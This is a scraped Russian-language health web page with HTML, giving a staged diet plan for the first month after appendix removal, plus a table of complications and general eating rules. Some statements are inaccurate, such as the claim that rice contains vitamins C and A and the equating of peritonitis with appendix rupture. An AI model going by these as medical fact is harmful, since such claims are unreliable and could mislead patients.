/></p><p>До и после удаления аппендицита</p><p>После того, как удаляется аппендицит, человек не ощущает практически никаких изменений в самочувствии. Главное, своевременно обратиться за медицинской помощью в случае возникновения острой режущей боли. Ведь несвоевременное вмешательство может привести к тяжкому осложнению – перитониту. Также очень важно соблюдать диету на протяжении месяца после проведенной операции. Врач в обязательном порядке должен проконсультировать больного по поводу особенностей диеты в период восстановления. Особое питание требуется для того, чтобы создать благоприятные условия с целью регенерации тканей. Без применения диетотерапии восстановительный период значительно затягивается.</p><blockquote><p><em>Справка! Перитонит – тяжкий недуг, характеризующийся ярко выраженным воспалением листков брюшины (а именно висцерального и париетального).</em></p></blockquote><p style="clear: both"><noscript><img src="https://med-explorer.ru/wp-content/uploads/2016/12/%D0%9E%D0%BF%D0%B5%D1%80%D0%B0%D1%86%D0%B8%D1%8F-%D0%BF%D0%BE-%D1%83%D0%B4%D0%B0%D0%BB%D0%B5%D0%BD%D0%B8%D1%8E-%D0%B0%D0%BF%D0%BF%D0%B5%D0%BD%D0%B4%D0%B8%D1%86%D0%B8%D1%82%D0%B0.jpg" /></noscript><img class="lazyload" src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20210%20140%22%3E%3C/svg%3E' data-src="https://med-explorer.ru/wp-content/uploads/2016/12/%D0%9E%D0%BF%D0%B5%D1%80%D0%B0%D1%86%D0%B8%D1%8F-%D0%BF%D0%BE-%D1%83%D0%B4%D0%B0%D0%BB%D0%B5%D0%BD%D0%B8%D1%8E-%D0%B0%D0%BF%D0%BF%D0%B5%D0%BD%D0%B4%D0%B8%D1%86%D0%B8%D1%82%D0%B0.jpg" /></p><p>Операция по удалению аппендицита</p><h3>Возможные осложнения</h3><p>Если при обострении аппендицита больному не было предоставлено своевременное оперативное лечение, то могут наблюдаться различные осложнения.</p><table ><thead><tr ><th >Что ожидать?</th><th >Краткая характеристика осложнения</th></tr></th><tbody ><tr ><td >Разрыв аппендикса</td><td >Перитонит – именно так в медицине определяется разрыв, что сопровождается воспалением. Данный процесс несет угрозу жизни человека, поэтому требуется срочное хирургическое вмешательство</td></tr><tr ><td >Флегмонозный тип аппендицита</td><td >Воспалившийся отросток покрывается внутри и снаружи гнойным налетом. Опасность заключается в том, что в брюшной полости может скопиться жидкость с присутствием гноя</td></tr><tr ><td >Гангренозное воспаление</td><td >В отростке может произойти закупорка сосудистой сетки, что приводит к развитию перитонита</td></tr></tbody></table><h2>Первые сутки после операции</h2><p>В первый день больной отходит от наркоза, поэтому возникает чувство тошноты, поэтому не исключено, что аппетит будет полностью отсутствовать, также существует вероятность возникновения осложнений, при которых запрещается не только есть, но и пить, о чем было указано выше.</p><p style="clear: both"><noscript><img src="https://med-explorer.ru/wp-content/uploads/2016/12/%D0%A0%D0%B5%D0%BA%D0%BE%D0%BC%D0%B5%D0%BD%D0%B4%D0%B0%D1%86%D0%B8%D0%B8-%D0%BF%D0%BE-%D0%BF%D0%B8%D1%82%D0%B0%D0%BD%D0%B8%D1%8E-%D0%BF%D0%BE%D1%81%D0%BB%D0%B5-%D0%BE%D0%BF%D0%B5%D1%80%D0%B0%D1%86%D0%B8%D0%B8-%D0%BD%D0%B0-%D0%B0%D0%BF%D0%BF%D0%B5%D0%BD%D0%B4%D0%B8%D1%86%D0%B8%D1%82.jpg" /></noscript><img class="lazyload" src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20210%20140%22%3E%3C/svg%3E' data-src="https://med-explorer.ru/wp-content/uploads/2016/12/%D0%A0%D0%B5%D0%BA%D0%BE%D0%BC%D0%B5%D0%BD%D0%B4%D0%B0%D1%86%D0%B8%D0%B8-%D0%BF%D0%BE-%D0%BF%D0%B8%D1%82%D0%B0%D0%BD%D0%B8%D1%8E-%D0%BF%D0%BE%D1%81%D0%BB%D0%B5-%D0%BE%D0%BF%D0%B5%D1%80%D0%B0%D1%86%D0%B8%D0%B8-%D0%BD%D0%B0-%D0%B0%D0%BF%D0%BF%D0%B5%D0%BD%D0%B4%D0%B8%D1%86%D0%B8%D1%82.jpg" /></p><p>Рекомендации по питанию после операции на аппендицит</p><p>Если у пациента в первый день послеоперационного периода не наблюдается никаких осложнений, а самочувствие стабильное, то врач может разрешить употреблять жидкую пищу. Прием небольшого количества еды требуется для восстановления сил организма.</p><p><strong>После 24 часов разрешено:</strong></p><ol><li>Чай сладкий некрепкий.</li><li>Ягодный компот.</li><li>Кисель.</li><li>Вода.</li></ol><p>Данные жидкости являются единственным разрешенным продуктом после удаления аппендицита. Употреблять другую пищу категорически запрещается даже при отменном аппетите (практически не встречается). Затем врач наблюдает динамику восстановления пищеварительной системы и, исходя из нее, определяет рацион дальнейшего питания. Посмотреть комментарий о специальном питании от хирурга можно в видеоролике.</p><h3>Видео — Какое должно быть питание после удаления аппендицита</h3><h2>Первые три дня послеоперационного периода</h2><p>Разнообразная еда разрешается, только в случае отсутствия повышенной температуры и других признаков появления осложнения. Необходимо помнить, что первые три дня являются самыми сложными, поэтому к питанию нужно подходить со всей осторожностью. На второй и третий день можно:</p><ol><li>Куриный бульон (он должен быть обязательно нежирным).</li><li>Рис (только отваренный на воде и без соли).</li><li>Жидкое пюре из тыквы либо кабачка.</li><li>Нежирный йогурт, лучше всего, если он будет собственного приготовления (никаких вкусовых добавок, сахара).</li><li>Куриное филе (варенное в протертом виде).</li></ol><p style="clear: both"><noscript><img src="https://med-explorer.ru/wp-content/uploads/2016/12/%D0%92-%D0%BF%D0%B5%D1%80%D0%B2%D1%8B%D0%B5-%D1%82%D1%80%D0%B8-%D0%BF%D0%BE%D1%81%D0%BB%D0%B5-%D0%BE%D0%BF%D0%B5%D1%80%D0%B0%D1%86%D0%B8%D0%B8-%D1%80%D0%B0%D0%B7%D1%80%D0%B5%D1%88%D0%B5%D0%BD%D0%BE-%D1%83%D0%BF%D0%BE%D1%82%D1%80%D0%B5%D0%B1%D0%BB%D1%8F%D1%82%D1%8C-%D0%BD%D0%B5%D0%B6%D0%B8%D1%80%D0%BD%D1%8B%D0%B9-%D0%BA%D1%83%D1%80%D0%B8%D0%BD%D1%8B%D0%B9-%D0%B1%D1%83%D0%BB%D1%8C%D0%BE%D0%BD.jpg" /></noscript><img class="lazyload" src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20210%20140%22%3E%3C/svg%3E' data-src="https://med-explorer.ru/wp-content/uploads/2016/12/%D0%92-%D0%BF%D0%B5%D1%80%D0%B2%D1%8B%D0%B5-%D1%82%D1%80%D0%B8-%D0%BF%D0%BE%D1%81%D0%BB%D0%B5-%D0%BE%D0%BF%D0%B5%D1%80%D0%B0%D1%86%D0%B8%D0%B8-%D1%80%D0%B0%D0%B7%D1%80%D0%B5%D1%88%D0%B5%D0%BD%D0%BE-%D1%83%D0%BF%D0%BE%D1%82%D1%80%D0%B5%D0%B1%D0%BB%D1%8F%D1%82%D1%8C-%D0%BD%D0%B5%D0%B6%D0%B8%D1%80%D0%BD%D1%8B%D0%B9-%D0%BA%D1%83%D1%80%D0%B8%D0%BD%D1%8B%D0%B9-%D0%B1%D1%83%D0%BB%D1%8C%D0%BE%D0%BD.jpg" /></p><p>В первые три после операции разрешено употреблять нежирный куриный бульон</p><blockquote><p><em>Обратите внимание! Прием пищи обязательно дробный до шести раз в день небольшими порциями.</em></p></blockquote><h2>Питание после пяти дней послеоперационного питания</h2><p>На пятый день к меню из каш можно добавить кисломолочные продукты. Они легко усваиваются и положительно влияют на состояние желудка. Основу кисломолочных продуктов должны составлять йогурты собственного приготовления с бифидобактериями, нежирный кефир, творожок (в обязательном порядке несладкий).</p><p>Длительный период времени у больного будет постельный режим, поэтому не исключается вероятность запоров. К возникновению подобной проблемы приводят и некоторые лекарственные средства. Чтобы предотвратить возникновение запора, следует потреблять как можно больше продуктов, богатых на клетчатку. Она содержится в следующих продуктах:</p><ol><li>Запеченные яблоки.</li><li>Отвар из шиповника.</li><li>Варенная морковь.</li></ol><p style="clear: both"><noscript><img src="https://med-explorer.ru/wp-content/uploads/2016/12/%D0%92%D0%B0%D1%80%D0%B5%D0%BD%D0%BD%D0%B0%D1%8F-%D0%BC%D0%BE%D1%80%D0%BA%D0%BE%D0%B2%D1%8C-%D0%BE%D0%B4%D0%B8%D0%BD-%D0%B8%D0%B7-%D1%80%D0%B0%D0%B7%D1%80%D0%B5%D1%88%D0%B5%D0%BD%D0%BD%D1%8B%D1%85-%D0%BF%D1%80%D0%BE%D0%B4%D1%83%D0%BA%D1%82%D0%BE%D0%B2-%D0%B2-%D0%BF%D0%BE%D1%81%D0%BB%D0%B5%D0%BE%D0%BF%D0%B5%D1%80%D0%B0%D1%86%D0%B8%D0%BE%D0%BD%D0%BD%D1%8B%D0%B9-%D0%BF%D0%B5%D1%80%D0%B8%D0%BE%D0%B4.jpg" /></noscript><img class="lazyload" src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20210%20140%22%3E%3C/svg%3E' data-src="https://med-explorer.ru/wp-content/uploads/2016/12/%D0%92%D0%B0%D1%80%D0%B5%D0%BD%D0%BD%D0%B0%D1%8F-%D0%BC%D0%BE%D1%80%D0%BA%D0%BE%D0%B2%D1%8C-%D0%BE%D0%B4%D0%B8%D0%BD-%D0%B8%D0%B7-%D1%80%D0%B0%D0%B7%D1%80%D0%B5%D1%88%D0%B5%D0%BD%D0%BD%D1%8B%D1%85-%D0%BF%D1%80%D0%BE%D0%B4%D1%83%D0%BA%D1%82%D0%BE%D0%B2-%D0%B2-%D0%BF%D0%BE%D1%81%D0%BB%D0%B5%D0%BE%D0%BF%D0%B5%D1%80%D0%B0%D1%86%D0%B8%D0%BE%D0%BD%D0%BD%D1%8B%D0%B9-%D0%BF%D0%B5%D1%80%D0%B8%D0%BE%D0%B4.jpg" /></p><p>Варенная морковь — один из разрешенных продуктов в послеоперационный период</p><blockquote><p><em>Совет! Перед внесением изменений в послеоперационное меню рекомендуется проконсультироваться с ведущим врачом, дабы избежать возникновения осложнений.</em></p></blockquote><p>Чтобы быстро восстановить организм и пищеварительную систему, необходим бета-каротин. Он содержится в больших количествах в тыкве. Другие полезные элементы, что содержаться в данном овоще способны ускорять процессы обмена, положительно влиять на свертываемость крови, повышать уровень усваивания продуктов. Во время диеты тыкву рекомендовано употреблять в виде супа-пюре или, как вариант, в виде каши.</p><h2>Семь дней после удаления</h2><p>По истечению первых трех дней больного можно переводить на пресные продукты в жидком виде, что приготовлены исключительно на пару. Таким образом, можно избежать нагрузок на ЖКТ. Основу рациона будет составлять нежирное мясо, лучше всего отдавать предпочтение куриному, поскольку это один из видов диетического мяса. Помимо того куриное филе легко усваивается и не дает тяжести на желудок.</p><p>Также очень важные на первой послеоперационной неделе супы-пюре. Готовить такие блюда лучше всего из отваренных кабачков, тыквы, свеклы, моркови, картофеля. Основным из круп выделяют рис. Этот продукт отлично подходит для диетического питания и содержит в себе витамин С и А, что активно способствуют быстрому восстановлению организма и регенерации внутренних тканей.</p><p style="clear: both"><noscript><img src="https://med-explorer.ru/wp-content/uploads/2016/12/%D0%A1%D1%83%D0%BF%D1%8B-%D0%BF%D1%8E%D1%80%D0%B5-%D0%BE%D0%B4%D0%BD%D0%BE-%D0%B8%D0%B7-%D0%BE%D1%81%D0%BD%D0%BE%D0%B2%D0%BD%D1%8B%D1%85-%D0%B1%D0%BB%D1%8E%D0%B4-%D0%BF%D0%BE%D1%81%D0%BB%D0%B5-%D0%BE%D0%BF%D0%B5%D1%80%D0%B0%D1%86%D0%B8%D0%B8-%D0%BD%D0%B0-%D0%B0%D0%BF%D0%BF%D0%B5%D0%BD%D0%B4%D0%B8%D1%86%D0%B8%D1%82.jpg" /></noscript><img class="lazyload" src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20210%20140%22%3E%3C/svg%3E' data-src="https://med-explorer.ru/wp-content/uploads/2016/12/%D0%A1%D1%83%D0%BF%D1%8B-%D0%BF%D1%8E%D1%80%D0%B5-%D0%BE%D0%B4%D0%BD%D0%BE-%D0%B8%D0%B7-%D0%BE%D1%81%D0%BD%D0%BE%D0%B2%D0%BD%D1%8B%D1%85-%D0%B1%D0%BB%D1%8E%D0%B4-%D0%BF%D0%BE%D1%81%D0%BB%D0%B5-%D0%BE%D0%BF%D0%B5%D1%80%D0%B0%D1%86%D0%B8%D0%B8-%D0%BD%D0%B0-%D0%B0%D0%BF%D0%BF%D0%B5%D0%BD%D0%B4%D0%B8%D1%86%D0%B8%D1%82.jpg" /></p><p>Супы-пюре — одно из основных блюд после операции на аппендицит</p><blockquote><p><em>Совет! Чтобы правильно приготовить суп-пюре следует отварить овощи. По факту готовности измельчить овощи блендером до кашеобразного состояния. Чтобы улучшить пищеварительный процесс в суп кидают зелень. Ни в коем случае нельзя солить или добавлять масло.</em></p></blockquote><p>Прием жидкости очень важен для пищеварения, поэтому на первой неделе после оперативного вмешательства необходимо обильное питье. При этом разрешается пить натуральные соки домашнего приготовления, ягодные компоты, чаи из травяных сборов, очищенную воду. Если возможность приготовить сок самостоятельно отсутствует, то не стоит их приобретать в магазине, поскольку содержание ароматизаторов и консервантов негативно скажутся на пищеварении. В таком случае, лучше всего ограничиться питьем воды на протяжении дня в количестве полторы литры.</p><blockquote><p><em>Обратите внимание! В зависимости от пройденного времени после удаления аппендицита будет расширяться меню</em>.</p></blockquote><h3>Видео — Супер-еда после операции</h3><h2>Возможное меню на одну неделю</h2><p style="clear: both"><noscript><img src="https://med-explorer.ru/wp-content/uploads/2016/12/%D0%94%D0%B5%D0%BD%D1%8C-1-%D0%B9-%D0%B8-2-%D0%B9.jpg" /></noscript><img class="lazyload" src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20210%20140%22%3E%3C/svg%3E' data-src="https://med-explorer.ru/wp-content/uploads/2016/12/%D0%94%D0%B5%D0%BD%D1%8C-1-%D0%B9-%D0%B8-2-%D0%B9.jpg" /></p><p style="clear: both"><noscript><img src="https://med-explorer.ru/wp-content/uploads/2016/12/3-%D0%B9-%D0%B8-4-%D0%B9-%D0%B4%D0%B5%D0%BD%D1%8C.jpg" /></noscript><img class="lazyload" src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20210%20140%22%3E%3C/svg%3E' data-src="https://med-explorer.ru/wp-content/uploads/2016/12/3-%D0%B9-%D0%B8-4-%D0%B9-%D0%B4%D0%B5%D0%BD%D1%8C.jpg" /></p><p style="clear: both"><noscript><img src="https://med-explorer.ru/wp-content/uploads/2016/12/5-%D0%B9-%D0%B8-6-%D0%B9-%D0%B4%D0%B5%D0%BD%D1%8C.jpg" /></noscript><img class="lazyload" src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20210%20140%22%3E%3C/svg%3E' data-src="https://med-explorer.ru/wp-content/uploads/2016/12/5-%D0%B9-%D0%B8-6-%D0%B9-%D0%B4%D0%B5%D0%BD%D1%8C.jpg" /></p><p style="clear: both"><noscript><img src="https://med-explorer.ru/wp-content/uploads/2016/12/%D0%94%D0%B5%D0%BD%D1%8C-7-%D0%B9.jpg" /></noscript><img class="lazyload" src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20210%20140%22%3E%3C/svg%3E' data-src="https://med-explorer.ru/wp-content/uploads/2016/12/%D0%94%D0%B5%D0%BD%D1%8C-7-%D0%B9.jpg" /></p><h2>Общие рекомендации</h2><p>Необходимо придерживаться определенных принципов питания, которые поспособствуют быстрой регенерации ран и помогут предотвратить расхождение швов. Поэтому следует придерживаться:</p><ol><li>Употребление пищи на протяжении дня должно происходить не менее шести раз небольшими порциями.</li><li>Первая неделя после хирургического вмешательства должна основываться исключительно на жидкой пище. Желательно, чтобы она была перетертой.</li><li>Питье должно состоять из соков и компотов (обратите внимание, они не должны быть кислыми).</li><li>Диета должна исключать продукты с большим количеством жиров. Поэтому из мясопродуктов разрешена курица и телятина.</li><li>Первые дни питания должна исключать сливочное масло. Спустя некоторое время его можно добавлять в каши в небольших количествах.</li><li>На протяжении месяца строго запрещены все жареные продукты.</li><li>Супы должны готовиться без какой-либо зажарки.</li><li>Приготовление всех продуктов должно происходить только на пару.</li><li>На время исключить из рациона питания продукты, негативно влияющие на слизистую кишечника – специи, перец, соль.</li><li>Запрещен алкоголь и кофе.</li><li>Чай должен быть не крепким, желательно зеленым.</li><li>Употреблять фрукты и овощи исключительно в потертом виде.</li><li>Картофель на время устранить из меню.</li><li>Все употребляемые кисломолочные продукты в обязательном порядке должны быть не жирными.</li><li>Во избежание брожения не есть мучные изделия.</li><li>Отказаться от газированных напитков.</li><li>Разрешается готовить блюда из бобовых только спустя месяц строгой диеты.</li></ol><p style="clear: both"><noscript><img src="https://med-explorer.ru/wp-content/uploads/2016/12/%D0%9A%D0%B0%D1%80%D1%82%D0%BE%D1%84%D0%B5%D0%BB%D1%8C-%D0%BD%D0%B0-%D0%B2%D1%80%D0%B5%D0%BC%D1%8F-%D1%83%D1%81%D1%82%D1%80%D0%B0%D0%BD%D0%B8%D1%82%D1%8C-%D0%B8%D0%B7-%D0%BF%D0%BE%D1%81%D0%BB%D0%B5%D0%BE%D0%BF%D0%B5%D1%80%D0%B0%D1%86%D0%B8%D0%BE%D0%BD%D0%BD%D0%BE%D0%B3%D0%BE-%D0%BC%D0%B5%D0%BD%D1%8E.jpg" /></noscript><img class="lazyload" src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20210%20140%22%3E%3C/svg%3E' data-src="https://med-explorer.ru/wp-content/uploads/2016/12/%D0%9A%D0%B0%D1%80%D1%82%D0%BE%D1%84%D0%B5%D0%BB%D1%8C-%D0%BD%D0%B0-%D0%B2%D1%80%D0%B5%D0%BC%D1%8F-%D1%83%D1%81%D1%82%D1%80%D0%B0%D0%BD%D0%B8%D1%82%D1%8C-%D0%B8%D0%B7-%D0%BF%D0%BE%D1%81%D0%BB%D0%B5%D0%BE%D0%BF%D0%B5%D1%80%D0%B0%D1%86%D0%B8%D0%BE%D0%BD%D0%BD%D0%BE%D0%B3%D0%BE-%D0%BC%D0%B5%D0%BD%D1%8E.jpg" /></p><p>Картофель на время необходимо устранить из послеоперационного меню</p><p>Таким образом, можно нормализовать работу пищеварительного тракта и быстро восстановить ослабленный после операции организм.</p><p>Несмотря на составленное меню в послеоперационный период, необходимо обращать внимание на то, чтобы в рационе присутствовало как можно больше витаминов для быстрого восстановления пищеварительной системы и организма в целом.</p><div class="flat_pm_end"></div><div id='wpd-post-rating' class='wpd-not-rated'><div class='wpd-rating-wrap'><div class='wpd-rating-left'></div><div class='wpd-rating-data'><div class='wpd-rating-value'> <span class='wpdrv'></span> <span class='wpdrc'></span> <span class='wpdrt'>голоса</span></div><div class='wpd-rating-title'>Рейтинг статьи</div><div class='wpd-rating-stars'><svg xmlns='https://www.w3.org/2000/svg' viewBox='0 0 24 24'><path d='M0 0h24v24H0z' fill='none'/><path class='wpd-star' d='M12 17.27L18.18 21l-1.64-7.03L22 9.24l-7.19-.61L12 2 9.19 8.63 2 9.24l5.46 4.73L5.82 21z'/><path d='M0 0h24v24H0z' fill='none'/></svg><svg xmlns='https://www.w3.org/2000/svg' viewBox='0 0 24 24'><path d='M0 0h24v24H0z' fill='none'/><path class='wpd-star' d='M12 17.27L18.18 21l-1.64-7.03L22 9.24l-7.19-.61L12 2 9.19 8.63 2 9.24l5.46 4.73L5.82 21z'/><path d='M0 0h24v24H0z' fill='none'/></svg><svg xmlns='https://www.w3.org/2000/svg' viewBox='0 0 24 24'><path d='M0 0h24v24H0z' fill='none'/><path class='wpd-star' d='M12 17.27L18.18 21l-1.64-7.03L22 9.24l-7.19-.61L12 2 9.19 8.63 2 9.24l5.46 4.73L5.82 21z'/><path d='M0 0h24v24H0z' fill='none'/></svg><svg xmlns='https://www.w3.org/2000/svg' viewBox='0 0 24 24'><path d='M0 0h24v24H0z' fill='none'/><path class='wpd-star' d='M12 17.27L18.18 21l-1.64-7.03L22 9.24l-7.19-.61L12 2 9.19 8.63 2 9.24l5.46 4.73L5.82 21z'/><path d='M0 0h24v24H0z' fill='none'/></svg><svg xmlns='https://www.w3.org/2000/svg' viewBox='0 0 24 24'><path d='M0 0h24v24H0z' fill='none'/><path class='wpd-star' d='M12 17.27L18.18 21l-1.64-7.03L22 9.24l-7.19-.61L12 2 9.19 8.63 2 9.24l5.46 4.73L5.82 21z'/><path d='M0 0h24v24H0z' fill='none'/></svg></div><div class='wpd-rate-starts'><svg xmlns='https://www.w3.org/2000/svg' viewBox='0 0 24 24'><path d='M0 0h24v24H0z' fill='none'/><path class='wpd-star' d='M12 17.27L18.18 21l-1.64-7.03L22 9.24l-7.19-.61L12 2 9.19 8.63 2 9.24l5.46 4.73L5.82 21z'/><path d='M0 0h24v24H0z' fill='none'/></svg><svg xmlns='https://www.w3.org/2000/svg' viewBox='0 0 24 24'><path d='M0 0h24v24H0z' fill='none'/><path class='wpd-star' d='M12 17.27L18.18 21l-1.64-7.03L22 9.24l-7.19-.61L12 2 9.19 8.63 2 9.24l5.46 4.73L5.82 21z'/><path d='M0 0h24v24H0z' fill='none'/></svg><svg xmlns='https://www.w3.org/2000/svg' viewBox='0 0 24 24'><path d='M0 0h24v24H0z' fill='none'/><path class='wpd-star' d='M12 17.27L18.18 21l-1.64-7.03L22 9.24l-7.19-.61L12 2 9.19 8.63 2 9.24l5.46 4.73L5.82 21z'/><path d='M0 0h24v24H0z' fill='none'/></svg><svg xmlns='https://www.w3.org/2000/svg' viewBox='0 0 24 24'><path d='M0 0h24v24H0z' fill='none'/><path class='wpd-star' d='M12 17.27L18.18 21l-1.64-7.03L22 9.24l-7.19-.61L12 2 9.19 8.63 2 9.24l5.46 4.73L5.82 21z'/><path d='M0 0h24v24H0z' fill='none'/></svg><svg xmlns='https://www.w3.org/2000/svg' viewBox='0 0 24 24'><path d='M0 0h24v24H0z' fill='none'/><path class='wpd-star' d='M12 17.27L18.18 21l-1.64-7.03L22 9.24l-7.19-.61L12 2 9.19 8.63 2 9.24l5.46 4.73L5.82 21z'/><path d='M0 0h24v24H0z' fill='none'/></svg></div></div><div class='wpd-rating-right'></div></div></div></div></article><div class="post-meta"><div class="post-rating"><div class="post-rating__title">Оценка статьи:</div><div id="post-ratings-1656" class="post-ratings" data-nonce="eb9c7b4b4f"><noscript><img src="https://sportpit18.ru/wp-content/plugins/wp-postratings/images/stars_crystal/rating_off.gif" alt="1 звезда" title="1 звезда" onmouseover="current_rating(1656, 1, '1 звезда');" onmouseout="ratings_off(0, 0, 0);" onclick="rate_post();" onkeypress="rate_post();" style="cursor: pointer; border: 0px;" /></noscript><img class="lazyload" id="rating_1656_1" src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20210%20140%22%3E%3C/svg%3E' data-src="https://sportpit18.ru/wp-content/plugins/wp-postratings/images/stars_crystal/rating_off.gif" alt="1 звезда" title="1 звезда" onmouseover="current_rating(1656, 1, '1 звезда');" onmouseout="ratings_off(0, 0, 0);" onclick="rate_post();" onkeypress="rate_post();" style="cursor: pointer; border: 0px;" /><noscript><img src="https://sportpit18.ru/wp-content/plugins/wp-postratings/images/stars_crystal/rating_off.gif" alt="2 звезды" title="2 звезды" onmouseover="current_rating(1656, 2, '2 звезды');" onmouseout="ratings_off(0, 0, 0);" onclick="rate_post();" onkeypress="rate_post();" style="cursor: pointer; border: 0px;" /></noscript><img class="lazyload" id="rating_1656_2" src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20210%20140%22%3E%3C/svg%3E' data-src="https://sportpit18.ru/wp-content/plugins/wp-postratings/images/stars_crystal/rating_off.gif" alt="2 звезды" title="2 звезды" onmouseover="current_rating(1656, 2, '2 звезды');" onmouseout="ratings_off(0, 0, 0);" onclick="rate_post();" onkeypress="rate_post();" style="cursor: pointer; border: 0px;" /><noscript><img src="https://sportpit18.ru/wp-content/plugins/wp-postratings/images/stars_crystal/rating_off.gif" alt="3 звезды" title="3 звезды" onmouseover="current_rating(1656, 3, '3 звезды');" onmouseout="ratings_off(0, 0, 0);" onclick="rate_post();" onkeypress="rate_post();" style="cursor: pointer; border: 0px;" /></noscript><img class="lazyload" id="rating_1656_3" src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20210%20140%22%3E%3C/svg%3E' data-src="https://sportpit18.ru/wp-content/plugins/wp-postratings/images/stars_crystal/rating_off.gif" alt="3 звезды" title="3 звезды" onmouseover="current_rating(1656, 3, '3 звезды');" onmouseout="ratings_off(0, 0, 0);" onclick="rate_post();" onkeypress="rate_post();" style="cursor: pointer; border: 0px;" /><noscript><img src="https://sportpit18.ru/wp-content/plugins/wp-postratings/images/stars_crystal/rating_off.gif" alt="4 звезды" title="4 звезды" onmouseover="current_rating(1656, 4, '4 звезды');" onmouseout="ratings_off(0, 0, 0);" onclick="rate_post();" onkeypress="rate_post();" style="cursor: pointer; border: 0px;" /></noscript><img class="lazyload" id="rating_1656_4" src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20210%20140%22%3E%3C/svg%3E' data-src="https://sportpit18.ru/wp-content/plugins/wp-postratings/images/stars_crystal/rating_off.gif" alt="4 звезды" title="4 звезды" onmouseover="current_rating(1656, 4, '4 звезды');" onmouseout="ratings_off(0, 0, 0);" onclick="rate_post();" onkeypress="rate_post();" style="cursor: pointer; border: 0px;" /><noscript><img src="https://sportpit18.ru/wp-content/plugins/wp-postratings/images/stars_crystal/rating_off.gif" alt="5 звезд" title="5 звезд" onmouseover="current_rating(1656, 5, '5 звезд');" onmouseout="ratings_off(0, 0, 0);" onclick="rate_post();" onkeypress="rate_post();" style="cursor: pointer; border: 0px;" /></noscript><img class="lazyload" id="rating_1656_5" src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20210%20140%22%3E%3C/svg%3E' data-src="https://sportpit18.ru/wp-content/plugins/wp-postratings/images/stars_crystal/rating_off.gif" alt="5 звезд" title="5 звезд" onmouseover="current_rating(1656, 5, '5 звезд');" onmouseout="ratings_off(0, 0, 0);" onclick="rate_post();" onkeypress="rate_post();" style="cursor: pointer; border: 0px;" /></div><div id="post-ratings-1656-loading" class="post-ratings-loading"><noscript><img src="https://sportpit18.ru/wp-content/plugins/wp-postratings/images/loading.gif" width="16" height="16" class="post-ratings-image" /></noscript><img src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%2016%2016%22%3E%3C/svg%3E' data-src="https://sportpit18.ru/wp-content/plugins/wp-postratings/images/loading.gif" width="16" height="16" class="lazyload post-ratings-image" /> Загрузка...</div></div></div><meta itemprop="headline" content="Что можно кушать после операции аппендицит"><meta itemprop="author" content="Fermovod"><meta itemprop="datePublished" content="2019-12-30"><meta itemprop="dateModified" content="2019-12-30"> <a itemprop="url" href="https://sportpit18.ru/protsedury/chto-mozhno-kushat-posle-operatsii-appenditsit.html" style="display:none">Что можно кушать после операции аппендицит</a> <a itemprop="mainEntityOfPage" href="https://sportpit18.ru/protsedury/chto-mozhno-kushat-posle-operatsii-appenditsit.html" style="display:none">Ссылка на основную публикацию</a><div style="display: none;" itemprop="image" itemscope itemtype="https://schema.org/ImageObject"> <noscript><img itemprop="url" src="https://sportpit18.ru/wp-content/cache/thumb/f1/ba2acb9afec5ff1_320x200.jpg" alt="Что можно кушать после операции аппендицит"></noscript><img class="lazyload" itemprop="url" src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20210%20140%22%3E%3C/svg%3E' data-src="https://sportpit18.ru/wp-content/cache/thumb/f1/ba2acb9afec5ff1_320x200.jpg" alt="Что можно кушать после операции аппендицит"><meta itemprop="width" content="320"><meta itemprop="height" content="200"></div><div style="display: none;" itemprop="publisher" itemscope itemtype="https://schema.org/Organization"><meta itemprop="name" content="Спортивный обозреватель"><div itemprop="logo" itemscope itemtype="https://schema.org/ImageObject"> <noscript><img itemprop="url" src="https://sportpit18.ru/wp-content/uploads/2020/03/19353213.jpg" alt="Спортивный обозреватель"></noscript><img class="lazyload" itemprop="url" src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20210%20140%22%3E%3C/svg%3E' data-src="https://sportpit18.ru/wp-content/uploads/2020/03/19353213.jpg" alt="Спортивный обозреватель"></div></div></div><div class='yarpp yarpp-related yarpp-related-website yarpp-template-yarpp-template-related'><div class="title">Похожие публикации</div><ul class="related"><li class="related__item"><div class="related__item-img"> <noscript><img src="https://sportpit18.ru/wp-content/cache/thumb/95/3f791b86c530b95_205x198.jpg" width="205" height="198" alt="Биоревитализация 1 процедура" loading="lazy" class="aligncenter"></noscript><img src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20205%20198%22%3E%3C/svg%3E' data-src="https://sportpit18.ru/wp-content/cache/thumb/95/3f791b86c530b95_205x198.jpg" width="205" height="198" alt="Биоревитализация 1 процедура" loading="lazy" class="lazyload aligncenter"></div> <a href="https://sportpit18.ru/protsedury/biorevitalizatsiya-1-protsedura.html">Биоревитализация 1 процедура</a></li> <script id="true_loadmore" data-offset="1">var ajaxurl = 'https://sportpit18.ru/wp-admin/admin-ajax.php'; 